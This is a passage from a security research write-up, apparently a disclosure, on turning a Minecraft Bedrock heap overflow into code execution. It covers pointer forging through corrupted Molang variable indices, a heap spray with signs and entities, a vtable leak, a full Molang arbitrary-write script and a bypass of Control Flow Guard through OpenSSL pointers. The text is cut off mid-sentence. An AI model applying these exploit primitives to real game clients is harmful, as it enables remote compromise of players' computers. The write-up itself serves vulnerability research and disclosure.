variable.saved_adjusted_upper_48;\n",[154646],{"type":23,"tag":209,"props":154647,"children":154648},{"__ignoreMap":7},[154649],{"type":28,"value":154644},{"type":23,"tag":24,"props":154651,"children":154652},{},[154653],{"type":28,"value":154654},"We forge the final adjusted pointer:",{"type":23,"tag":202,"props":154656,"children":154658},{"code":154657}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154659],{"type":23,"tag":209,"props":154660,"children":154661},{"__ignoreMap":7},[154662],{"type":28,"value":154657},{"type":23,"tag":18845,"props":154664,"children":154665},{},[],{"type":23,"tag":24,"props":154667,"children":154668},{},[154669,154671,154676],{"type":28,"value":154670},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":209,"props":154672,"children":154674},{"className":154673},[],[154675],{"type":28,"value":154202},{"type":28,"value":154158},{"type":23,"tag":24,"props":154678,"children":154679},{},[154680,154682,154687,154689,154694,154696,154702,154704,154709],{"type":28,"value":154681},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":209,"props":154683,"children":154685},{"className":154684},[],[154686],{"type":28,"value":154202},{"type":28,"value":154688},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":209,"props":154690,"children":154692},{"className":154691},[],[154693],{"type":28,"value":30742},{"type":28,"value":154695}," and the other to ",{"type":23,"tag":209,"props":154697,"children":154699},{"className":154698},[],[154700],{"type":28,"value":154701},"addr + 2",{"type":28,"value":154703}," (as long as ",{"type":23,"tag":209,"props":154705,"children":154707},{"className":154706},[],[154708],{"type":28,"value":30742},{"type":28,"value":154710}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":154712,"children":154713},{},[154714,154716,154721,154722,154727],{"type":28,"value":154715},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":209,"props":154717,"children":154719},{"className":154718},[],[154720],{"type":28,"value":150176},{"type":28,"value":153961},{"type":23,"tag":209,"props":154723,"children":154725},{"className":154724},[],[154726],{"type":28,"value":152980},{"type":28,"value":154728}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":202,"props":154730,"children":154732},{"code":154731},"variable.corrupted_var_map_ptr = variable.a;\n",[154733],{"type":23,"tag":209,"props":154734,"children":154735},{"__ignoreMap":7},[154736],{"type":28,"value":154731},{"type":23,"tag":24,"props":154738,"children":154739},{},[154740,154742,154747,154749,154755],{"type":28,"value":154741},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":209,"props":154743,"children":154745},{"className":154744},[],[154746],{"type":28,"value":39209},{"type":28,"value":154748}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":209,"props":154750,"children":154752},{"className":154751},[],[154753],{"type":28,"value":154754},"variable.corrupted_var_map_ptr",{"type":28,"value":154756},", even though the type itself is only a 32-bit float.",{"type":23,"tag":18945,"props":154758,"children":154760},{"id":154759},"finding-misaligned-pointers",[154761],{"type":28,"value":154762},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":154764,"children":154765},{},[154766,154768,154773,154774,154780],{"type":28,"value":154767},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":209,"props":154769,"children":154771},{"className":154770},[],[154772],{"type":28,"value":14024},{"type":28,"value":1466},{"type":23,"tag":209,"props":154775,"children":154777},{"className":154776},[],[154778],{"type":28,"value":154779},"ptr + 2",{"type":28,"value":154781},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":154783,"children":154784},{},[154785,154790,154791,154796,154798,154803,154805,154810,154812,154817,154819,154824,154826,154832,154833,154838],{"type":23,"tag":209,"props":154786,"children":154788},{"className":154787},[],[154789],{"type":28,"value":153156},{"type":28,"value":15503},{"type":23,"tag":209,"props":154792,"children":154794},{"className":154793},[],[154795],{"type":28,"value":153179},{"type":28,"value":154797}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":209,"props":154799,"children":154801},{"className":154800},[],[154802],{"type":28,"value":153010},{"type":28,"value":154804}," contains three pointers: ",{"type":23,"tag":209,"props":154806,"children":154808},{"className":154807},[],[154809],{"type":28,"value":150176},{"type":28,"value":154811}," (the start of the allocated buffer), ",{"type":23,"tag":209,"props":154813,"children":154815},{"className":154814},[],[154816],{"type":28,"value":9225},{"type":28,"value":154818}," (just past the last element) and ",{"type":23,"tag":209,"props":154820,"children":154822},{"className":154821},[],[154823],{"type":28,"value":153109},{"type":28,"value":154825}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":209,"props":154827,"children":154829},{"className":154828},[],[154830],{"type":28,"value":154831},"uint16_t",{"type":28,"value":102350},{"type":23,"tag":209,"props":154834,"children":154836},{"className":154835},[],[154837],{"type":28,"value":9225},{"type":28,"value":154839}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":154841,"children":154842},{},[154843,154845,154850,154852,154858],{"type":28,"value":154844},"We can make the ",{"type":23,"tag":209,"props":154846,"children":154848},{"className":154847},[],[154849],{"type":28,"value":9225},{"type":28,"value":154851}," pointer equal to ",{"type":23,"tag":209,"props":154853,"children":154855},{"className":154854},[],[154856],{"type":28,"value":154857},"cap - 2",{"type":28,"value":154859}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":202,"props":154861,"children":154863},{"code":154862}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[154864],{"type":23,"tag":209,"props":154865,"children":154866},{"__ignoreMap":7},[154867],{"type":28,"value":154862},{"type":23,"tag":18845,"props":154869,"children":154870},{},[],{"type":23,"tag":24,"props":154872,"children":154873},{},[154874,154876,154881,154883,154888,154890,154895,154897,154902,154903,154908],{"type":28,"value":154875},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":209,"props":154877,"children":154879},{"className":154878},[],[154880],{"type":28,"value":150176},{"type":28,"value":154882}," pointer of ",{"type":23,"tag":209,"props":154884,"children":154886},{"className":154885},[],[154887],{"type":28,"value":152980},{"type":28,"value":154889}," in the entity object above, one that would index ",{"type":23,"tag":209,"props":154891,"children":154893},{"className":154892},[],[154894],{"type":28,"value":9225},{"type":28,"value":154896}," and the final ",{"type":23,"tag":209,"props":154898,"children":154900},{"className":154899},[],[154901],{"type":28,"value":153109},{"type":28,"value":154882},{"type":23,"tag":209,"props":154904,"children":154906},{"className":154905},[],[154907],{"type":28,"value":153156},{"type":28,"value":154909}," also in the same entity object above.",{"type":23,"tag":24,"props":154911,"children":154912},{},[154913,154915,154921,154922,154928,154930,154935,154936,154941,154943,154948,154950,154955,154956,154961,154963,154968],{"type":28,"value":154914},"The corrupted variables ",{"type":23,"tag":209,"props":154916,"children":154918},{"className":154917},[],[154919],{"type":28,"value":154920},"variable.corrupted_len_ptr",{"type":28,"value":1466},{"type":23,"tag":209,"props":154923,"children":154925},{"className":154924},[],[154926],{"type":28,"value":154927},"variable.corrupted_cap_ptr",{"type":28,"value":154929}," point to ",{"type":23,"tag":209,"props":154931,"children":154933},{"className":154932},[],[154934],{"type":28,"value":9225},{"type":28,"value":1466},{"type":23,"tag":209,"props":154937,"children":154939},{"className":154938},[],[154940],{"type":28,"value":153109},{"type":28,"value":154942},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":209,"props":154944,"children":154946},{"className":154945},[],[154947],{"type":28,"value":154754},{"type":28,"value":154949},", points to the ",{"type":23,"tag":209,"props":154951,"children":154953},{"className":154952},[],[154954],{"type":28,"value":150176},{"type":28,"value":153961},{"type":23,"tag":209,"props":154957,"children":154959},{"className":154958},[],[154960],{"type":28,"value":152980},{"type":28,"value":154962},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":209,"props":154964,"children":154966},{"className":154965},[],[154967],{"type":28,"value":152980},{"type":28,"value":154969},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":154971,"children":154972},{},[154973],{"type":28,"value":154974},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":18945,"props":154976,"children":154978},{"id":154977},"leaking-pointers",[154979],{"type":28,"value":154980},"Leaking Pointers",{"type":23,"tag":24,"props":154982,"children":154983},{},[154984,154986,154992],{"type":28,"value":154985},"In C++, an object’s first field is typically a ",{"type":23,"tag":209,"props":154987,"children":154989},{"className":154988},[],[154990],{"type":28,"value":154991},"vtable",{"type":28,"value":154993}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":202,"props":154995,"children":154997},{"code":154996}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[154998],{"type":23,"tag":209,"props":154999,"children":155000},{"__ignoreMap":7},[155001],{"type":28,"value":154996},{"type":23,"tag":24,"props":155003,"children":155004},{},[155005,155006,155011,155013,155018,155020,155025,155027,155032,155034,155039,155040,155045,155047,155052],{"type":28,"value":2623},{"type":23,"tag":209,"props":155007,"children":155009},{"className":155008},[],[155010],{"type":28,"value":39209},{"type":28,"value":155012}," field inside a ",{"type":23,"tag":209,"props":155014,"children":155016},{"className":155015},[],[155017],{"type":28,"value":152653},{"type":28,"value":155019}," is at offset ",{"type":23,"tag":209,"props":155021,"children":155023},{"className":155022},[],[155024],{"type":28,"value":152914},{"type":28,"value":155026},". We already control a corrupted variable, ",{"type":23,"tag":209,"props":155028,"children":155030},{"className":155029},[],[155031],{"type":28,"value":154920},{"type":28,"value":155033},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":209,"props":155035,"children":155037},{"className":155036},[],[155038],{"type":28,"value":9225},{"type":28,"value":153961},{"type":23,"tag":209,"props":155041,"children":155043},{"className":155042},[],[155044],{"type":28,"value":153156},{"type":28,"value":155046}," by 2 bytes, which in turn advances ",{"type":23,"tag":209,"props":155048,"children":155050},{"className":155049},[],[155051],{"type":28,"value":154920},{"type":28,"value":155053}," by 2 bytes.",{"type":23,"tag":24,"props":155055,"children":155056},{},[155057,155059,155064,155066,155072,155073,155078,155079,155084,155086,155091],{"type":28,"value":155058},"By moving ",{"type":23,"tag":209,"props":155060,"children":155062},{"className":155061},[],[155063],{"type":28,"value":9225},{"type":28,"value":155065}," so it equals ",{"type":23,"tag":209,"props":155067,"children":155069},{"className":155068},[],[155070],{"type":28,"value":155071},"cap - 0x38",{"type":28,"value":102350},{"type":23,"tag":209,"props":155074,"children":155076},{"className":155075},[],[155077],{"type":28,"value":39209},{"type":28,"value":153961},{"type":23,"tag":209,"props":155080,"children":155082},{"className":155081},[],[155083],{"type":28,"value":154920},{"type":28,"value":155085}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":209,"props":155087,"children":155089},{"className":155088},[],[155090],{"type":28,"value":154991},{"type":28,"value":155092}," pointer. We can then capture that pointer with:",{"type":23,"tag":202,"props":155094,"children":155096},{"code":155095},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[155097],{"type":23,"tag":209,"props":155098,"children":155099},{"__ignoreMap":7},[155100],{"type":28,"value":155095},{"type":23,"tag":24,"props":155102,"children":155103},{},[155104,155106,155111,155113,155118,155120,155125,155127,155133],{"type":28,"value":155105},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":209,"props":155107,"children":155109},{"className":155108},[],[155110],{"type":28,"value":9225},{"type":28,"value":155112}," until it equals ",{"type":23,"tag":209,"props":155114,"children":155116},{"className":155115},[],[155117],{"type":28,"value":154857},{"type":28,"value":155119},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":209,"props":155121,"children":155123},{"className":155122},[],[155124],{"type":28,"value":154991},{"type":28,"value":155126}," address in ",{"type":23,"tag":209,"props":155128,"children":155130},{"className":155129},[],[155131],{"type":28,"value":155132},"variable.saved_vtable_pointer",{"type":28,"value":124},{"type":23,"tag":18845,"props":155135,"children":155136},{},[],{"type":23,"tag":24,"props":155138,"children":155139},{},[155140,155142,155147,155149,155155],{"type":28,"value":155141},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":209,"props":155143,"children":155145},{"className":155144},[],[155146],{"type":28,"value":43552},{"type":28,"value":155148}," to the address ",{"type":23,"tag":209,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":28,"value":155154},"vtable + 0x1000",{"type":28,"value":155156}," looks like this:",{"type":23,"tag":202,"props":155158,"children":155160},{"code":155159},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[155161],{"type":23,"tag":209,"props":155162,"children":155163},{"__ignoreMap":7},[155164],{"type":28,"value":155159},{"type":23,"tag":18945,"props":155166,"children":155168},{"id":155167},"required-heap-layout",[155169],{"type":28,"value":155170},"Required Heap Layout",{"type":23,"tag":24,"props":155172,"children":155173},{},[155174],{"type":28,"value":155175},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":202,"props":155177,"children":155179},{"code":155178}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[155180],{"type":23,"tag":209,"props":155181,"children":155182},{"__ignoreMap":7},[155183],{"type":28,"value":155178},{"type":23,"tag":24,"props":155185,"children":155186},{},[155187,155189,155195,155197,155202,155204,155209,155211,155216,155217,155222],{"type":28,"value":155188},"The first region (",{"type":23,"tag":209,"props":155190,"children":155192},{"className":155191},[],[155193],{"type":28,"value":155194},"Heap Region 1",{"type":28,"value":155196},") contains alternating ",{"type":23,"tag":209,"props":155198,"children":155200},{"className":155199},[],[155201],{"type":28,"value":152980},{"type":28,"value":155203},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":209,"props":155205,"children":155207},{"className":155206},[],[155208],{"type":28,"value":153010},{"type":28,"value":155210}," pointers of ",{"type":23,"tag":209,"props":155212,"children":155214},{"className":155213},[],[155215],{"type":28,"value":152980},{"type":28,"value":1466},{"type":23,"tag":209,"props":155218,"children":155220},{"className":155219},[],[155221],{"type":28,"value":153156},{"type":28,"value":155223}," from the entity object for our main attack.",{"type":23,"tag":24,"props":155225,"children":155226},{},[155227,155229,155235,155237,155242,155244,155249,155251,155256,155258,155263],{"type":28,"value":155228},"The second region (",{"type":23,"tag":209,"props":155230,"children":155232},{"className":155231},[],[155233],{"type":28,"value":155234},"Heap Region 2",{"type":28,"value":155236},") contains interleaved ",{"type":23,"tag":209,"props":155238,"children":155240},{"className":155239},[],[155241],{"type":28,"value":153156},{"type":28,"value":155243},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":209,"props":155245,"children":155247},{"className":155246},[],[155248],{"type":28,"value":154991},{"type":28,"value":155250}," pointer into ",{"type":23,"tag":209,"props":155252,"children":155254},{"className":155253},[],[155255],{"type":28,"value":154920},{"type":28,"value":155257}," during our main attack. It could be any object with a ",{"type":23,"tag":209,"props":155259,"children":155261},{"className":155260},[],[155262],{"type":28,"value":154991},{"type":28,"value":155264},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":155266,"children":155267},{},[155268,155270,155276,155278,155283],{"type":28,"value":155269},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":209,"props":155271,"children":155273},{"className":155272},[],[155274],{"type":28,"value":155275},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":155277}," will very likely clobber the ",{"type":23,"tag":209,"props":155279,"children":155281},{"className":155280},[],[155282],{"type":28,"value":153476},{"type":28,"value":155284}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":155286,"children":155287},{},[155288],{"type":28,"value":155289},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":155291,"children":155292},{},[155293],{"type":28,"value":155294},"The final exploit proceeds in three stages:",{"type":23,"tag":131,"props":155296,"children":155297},{},[155298,155303,155308],{"type":23,"tag":135,"props":155299,"children":155300},{},[155301],{"type":28,"value":155302},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":135,"props":155304,"children":155305},{},[155306],{"type":28,"value":155307},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":135,"props":155309,"children":155310},{},[155311],{"type":28,"value":155312},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":18945,"props":155314,"children":155316},{"id":155315},"initial-corruption-variant-lfh-heap-approach",[155317],{"type":28,"value":155318},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":155320,"children":155321},{},[155322],{"type":28,"value":155323},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":155325,"children":155326},{},[155327,155329,155334,155335,155341],{"type":28,"value":155328},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":209,"props":155330,"children":155332},{"className":155331},[],[155333],{"type":28,"value":153223},{"type":28,"value":6580},{"type":23,"tag":209,"props":155336,"children":155338},{"className":155337},[],[155339],{"type":28,"value":155340},"last_index",{"type":28,"value":155342}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":155344,"children":155345},{},[155346,155348,155353,155354,155359,155361,155366,155368,155373,155375,155380,155382,155388,155389,155395,155396,155402],{"type":28,"value":155347},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":209,"props":155349,"children":155351},{"className":155350},[],[155352],{"type":28,"value":150176},{"type":28,"value":153961},{"type":23,"tag":209,"props":155355,"children":155357},{"className":155356},[],[155358],{"type":28,"value":153156},{"type":28,"value":155360},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":209,"props":155362,"children":155364},{"className":155363},[],[155365],{"type":28,"value":152914},{"type":28,"value":155367}," within the ",{"type":23,"tag":209,"props":155369,"children":155371},{"className":155370},[],[155372],{"type":28,"value":153156},{"type":28,"value":155374}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":209,"props":155376,"children":155378},{"className":155377},[],[155379],{"type":28,"value":55687},{"type":28,"value":155381}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":209,"props":155383,"children":155385},{"className":155384},[],[155386],{"type":28,"value":155387},"0xfb",{"type":28,"value":424},{"type":23,"tag":209,"props":155390,"children":155392},{"className":155391},[],[155393],{"type":28,"value":155394},"0xfc",{"type":28,"value":1466},{"type":23,"tag":209,"props":155397,"children":155399},{"className":155398},[],[155400],{"type":28,"value":155401},"0xfd",{"type":28,"value":155403}," the script would do:",{"type":23,"tag":202,"props":155405,"children":155407},{"code":155406},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[155408],{"type":23,"tag":209,"props":155409,"children":155410},{"__ignoreMap":7},[155411],{"type":28,"value":155406},{"type":23,"tag":24,"props":155413,"children":155414},{},[155415,155417,155422,155423,155429,155431,155436],{"type":28,"value":155416},"That line would write the ",{"type":23,"tag":209,"props":155418,"children":155420},{"className":155419},[],[155421],{"type":28,"value":55687},{"type":28,"value":92226},{"type":23,"tag":209,"props":155424,"children":155426},{"className":155425},[],[155427],{"type":28,"value":155428},"0x302700fb00fc00fd",{"type":28,"value":155430}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":209,"props":155432,"children":155434},{"className":155433},[],[155435],{"type":28,"value":153156},{"type":28,"value":155437}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":9693,"props":155439,"children":155441},{"id":155440},"hijacking-execution",[155442],{"type":28,"value":155443},"Hijacking Execution",{"type":23,"tag":24,"props":155445,"children":155446},{},[155447,155449,155454,155456,155462],{"type":28,"value":155448},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":209,"props":155450,"children":155452},{"className":155451},[],[155453],{"type":28,"value":154991},{"type":28,"value":155455}," and function pointers in the writable ",{"type":23,"tag":209,"props":155457,"children":155459},{"className":155458},[],[155460],{"type":28,"value":155461},".data",{"type":28,"value":155463}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":155465,"children":155466},{},[155467],{"type":28,"value":155468},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":155470,"children":155471},{},[155472],{"type":28,"value":155473},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":155475,"children":155476},{},[155477],{"type":23,"tag":4009,"props":155478,"children":155480},{"alt":50631,"src":155479},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":155482,"children":155483},{},[155484,155486,155492,155494,155500,155502,155507,155509,155514,155516,155522,155524,155529,155531,155537,155539,155544],{"type":28,"value":155485},"This snippet calls a method on an object: ",{"type":23,"tag":209,"props":155487,"children":155489},{"className":155488},[],[155490],{"type":28,"value":155491},"rcx",{"type":28,"value":155493}," holds the object pointer, the first ",{"type":23,"tag":209,"props":155495,"children":155497},{"className":155496},[],[155498],{"type":28,"value":155499},"mov",{"type":28,"value":155501}," loads the object's ",{"type":23,"tag":209,"props":155503,"children":155505},{"className":155504},[],[155506],{"type":28,"value":154991},{"type":28,"value":155508}," into ",{"type":23,"tag":209,"props":155510,"children":155512},{"className":155511},[],[155513],{"type":28,"value":56827},{"type":28,"value":155515},", and the function pointer at ",{"type":23,"tag":209,"props":155517,"children":155519},{"className":155518},[],[155520],{"type":28,"value":155521},"rax + 0x8",{"type":28,"value":155523}," is read into ",{"type":23,"tag":209,"props":155525,"children":155527},{"className":155526},[],[155528],{"type":28,"value":56827},{"type":28,"value":155530},". Finally, ",{"type":23,"tag":209,"props":155532,"children":155534},{"className":155533},[],[155535],{"type":28,"value":155536},"__guard_dispatch_icall_fptr",{"type":28,"value":155538}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":209,"props":155540,"children":155542},{"className":155541},[],[155543],{"type":28,"value":56827},{"type":28,"value":155545}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":155547,"children":155548},{},[155549],{"type":28,"value":155550},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":155552,"children":155553},{},[155554],{"type":23,"tag":4009,"props":155555,"children":155557},{"alt":50631,"src":155556},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":155559,"children":155560},{},[155561,155563,155569,155571,155577],{"type":28,"value":155562},"Here, the function pointer at ",{"type":23,"tag":209,"props":155564,"children":155566},{"className":155565},[],[155567],{"type":28,"value":155568},"vtable + 0x10",{"type":28,"value":155570}," is loaded into ",{"type":23,"tag":209,"props":155572,"children":155574},{"className":155573},[],[155575],{"type":28,"value":155576},"rdx",{"type":28,"value":155578}," and then called directly.",{"type":23,"tag":24,"props":155580,"children":155581},{},[155582],{"type":28,"value":155583},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":155585,"children":155586},{},[155587,155589,155594],{"type":28,"value":155588},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":209,"props":155590,"children":155592},{"className":155591},[],[155593],{"type":28,"value":154991},{"type":28,"value":155595}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":18945,"props":155597,"children":155599},{"id":155598},"locating-overwrite-targets",[155600],{"type":28,"value":155601},"Locating Overwrite Targets",{"type":23,"tag":24,"props":155603,"children":155604},{},[155605,155607,155613,155614,155619,155621,155626,155628,155634],{"type":28,"value":155606},"One of the first targets we identified were the ",{"type":23,"tag":209,"props":155608,"children":155610},{"className":155609},[],[155611],{"type":28,"value":155612},"malloc",{"type":28,"value":1466},{"type":23,"tag":209,"props":155615,"children":155617},{"className":155616},[],[155618],{"type":28,"value":150224},{"type":28,"value":155620}," callbacks. These reside in the ",{"type":23,"tag":209,"props":155622,"children":155624},{"className":155623},[],[155625],{"type":28,"value":155461},{"type":28,"value":155627}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":209,"props":155629,"children":155631},{"className":155630},[],[155632],{"type":28,"value":155633},"OPENSSL_malloc/free",{"type":28,"value":132083},{"type":23,"tag":24,"props":155636,"children":155637},{},[155638],{"type":23,"tag":4009,"props":155639,"children":155641},{"alt":50631,"src":155640},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":155643,"children":155644},{},[155645],{"type":28,"value":155646},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":155648,"children":155649},{},[155650,155652,155658,155660,155666,155668,155673],{"type":28,"value":155651},"Later, we found another promising function: ",{"type":23,"tag":209,"props":155653,"children":155655},{"className":155654},[],[155656],{"type":28,"value":155657},"ossl_ec_key_new_method_int",{"type":28,"value":155659},". This function creates and initializes an ",{"type":23,"tag":209,"props":155661,"children":155663},{"className":155662},[],[155664],{"type":28,"value":155665},"EC_KEY",{"type":28,"value":155667}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":209,"props":155669,"children":155671},{"className":155670},[],[155672],{"type":28,"value":155461},{"type":28,"value":155674},") containing function pointers:",{"type":23,"tag":24,"props":155676,"children":155677},{},[155678],{"type":23,"tag":4009,"props":155679,"children":155681},{"alt":50631,"src":155680},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":155683,"children":155684},{},[155685,155687,155693,155694,155700,155702,155707,155709,155715,155717,155722,155724,155729,155731,155736],{"type":28,"value":155686},"In the image above, ",{"type":23,"tag":209,"props":155688,"children":155690},{"className":155689},[],[155691],{"type":28,"value":155692},"ret->meth",{"type":28,"value":125547},{"type":23,"tag":209,"props":155695,"children":155697},{"className":155696},[],[155698],{"type":28,"value":155699},"default_ec_key_meth",{"type":28,"value":155701},", which points to a structure of function pointers located in 